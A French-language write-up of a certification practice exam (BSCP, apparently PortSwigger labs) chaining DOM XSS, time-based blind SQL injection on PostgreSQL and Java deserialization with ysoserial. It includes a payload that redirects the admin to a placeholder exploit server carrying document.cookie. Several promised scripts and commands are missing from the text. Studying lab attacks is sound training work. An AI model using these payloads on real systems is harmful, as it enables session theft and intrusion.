square-checkWRITEUP : PRACTICE EXAM 2 (BSCP)

Vecteur : Injection de JavaScript dans le DOM via un paramètre de recherche (find). Défi : Présence de filtres/WAF limitant l'utilisation de certains caractères.

1. Analyse et Bypass

Après plusieurs tests pour échapper à la structure JSON/JavaScript existante :

2. Payload d'exfiltration

Le but est de rediriger l'administrateur vers notre serveur d'exploit en lui faisant porter son cookie de session.

Payload de redirection : "};location='https://[EXPLOIT-SERVER]/log?c='+document.cookie;//

Exploit final (à délivrer via le serveur d'exploit) :

Stage 2: Privilege Escalation (SQLi Time-based)

Vecteur : Injection SQL dans le paramètre order de la recherche filtrée. Base de données : PostgreSQL.

1. Validation de l'injection

On confirme l'injection avec une condition simple qui ne casse pas le tri : ASC,(CASE WHEN (1=1) THEN 1 ELSE 2 END)

2. Automatisation de l'extraction (Blind SQLi)

Puisque l'application ne renvoie pas d'erreur directe avec le contenu, on utilise une attaque par temps (Time-based).

Logique du Payload : Le script vérifie caractère par caractère le mot de passe de administrator. Si le caractère est correct, la base de données attend 3 secondes (pg_sleep(3)).

Script Python d'extraction :

Stage 3: File System Access (Java Deserialization)

Objectif : Lire le fichier /home/carlos/secret via une désérialisation non sécurisée.

Le cookie admin-prefs contient un objet Java sérialisé, compressé en Gzip et encodé en Base64.

2. Génération du Payload (Ysoserial)

Dans ce second examen, la bibliothèque vulnérable identifiée est CommonsCollections7.

Commande de génération :

3. Exécution

Procédure : Compresser le binaire en Gzip -> Encoder en Base64 -> Remplacer la valeur dans le cookie admin-prefs.

Mis à jour